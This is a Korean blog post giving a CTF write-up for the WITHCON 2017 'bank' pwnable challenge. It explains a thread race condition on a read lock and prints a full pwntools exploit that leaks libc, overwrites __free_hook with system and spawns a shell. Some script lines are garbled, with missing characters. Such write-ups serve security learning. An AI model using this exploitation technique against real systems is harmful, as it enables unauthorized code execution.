ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • WITHCON 2017 bank
    Pwnable/CTF 2018. 1. 15. 23:58

    레이스 컨디션 공부가 제대로 되어있지않아 공부하느라 오래걸리고 노트북이 맛이 가서 A/S 받고 하느라 푸는데 너무 오래걸린것같다

    레이스컨디션 부분은 WRITE UP을 참고하였다. 

    몇몇 함수들을 thread로 실행시키는것을 보자마자 레이스 컨디션이라는것을 예상을 하였다. 

    메인 4번 메뉴인 withdraw를 보면 

    0x603228 +1 -= a1를 하는데 black을 사용할때 쓰이는 pthread_rwlock_t 변수에서 rdlock을 걸면서 race condition 취약점이 생긴다.


    http://xnuclear.tistory.com/6


    위 링크에서 rdlock 설명 부분을보면 같은 rdlock상태에서 또 다른 쓰레드에서 rdlock을 걸어도 블록이 되지않는다는 것을 볼 수 있는데 그 것을 이용하여서 문제를 풀수있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    bank {
    char* name
    uint64_t balance
    int64_t onoff
    }
     
    item {
    char name[32]
    int64_t price
    uint64_t print
    }
    cs


    구조체는 대충 이런 형태일것이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    from pwn import *
    = process("./bank")
     
    #all black
     
    def show():
            p.sendlineafter('> ','1')
     
    def transfer(num):
            p.sendlineafter('> ','2')
            p.sendlineafter('> ','2')
            p.sendlineafter('> ',str(num))
     
    def deposit(num):
            p.sendlineafter('> ','3')
            p.sendlineafter('> ','2')
            p.sendlineafter('> ',str(num))
     
    def withdraw(num):
            p.sendlineafter('> ','4')
            p.sendlineafter('> ','2')
            p.sendlineafter('> ',str(num))
     
    def buy(item):
            p.sendlineafter('> ','5')
            p.recvuntil('?')
            p.sendlineafter('> ',str(item))
     
    def change(idx,name):
            p.sendlineafter('> ','6')
            p.sendlineafter('> ',str(idx))
            p.sendlineafter('> ',name)
     
    def bank_change(data):
            p.sendlineafter('> ','5')
            p.recvuntil('?')
            p.sendlineafter('> ','\xff')
            p.sendlineafter('> ','1')
            p.sendline(data)
     
              
    deposit(800#cash -> black bank == 0,800
              
    for i in range(3):
            transfer(1
     
    withdraw(400)
    withdraw(400)
     
    sleep(5)
    withdraw(10000000
    withdraw(0xFE0B6B3A763FFFF)
    buy(1
    buy(1
    change(0,"/bin/sh\x00")
    for i in range(14): 
            buy(1)
    sleep(3)
    buy(1#white
    change(16,p64(0x602f50))
    show() #puts leak
    p.recvuntil('Number : ')
    puts = u64(p.recv(6)+"\x00\x00")
    libc_base = puts - 0x6f690
    free_hook = libc_base + 0x3c67a8
    system = libc_base + 0x45390
    print hex(puts)
    print hex(libc_base)
    print hex(free_hook)
    print hex(system)
    change(16,p64(free_hook))
    bank_change(p64(system))
     
    p.sendlineafter('> ','7')
     
    p.interactive()
    cs



    'Pwnable > CTF' 카테고리의 다른 글

    Codeblue 2017 simple memo pad  (0) 2018.01.17
    Codegate 2017 hunting  (0) 2018.01.17
    WITHCON 2017 combination  (0) 2018.01.12
    SECCON 2017 video_player  (0) 2018.01.11
    SECCON 2017 secure Keymanager, Election  (0) 2018.01.10
Designed by Tistory.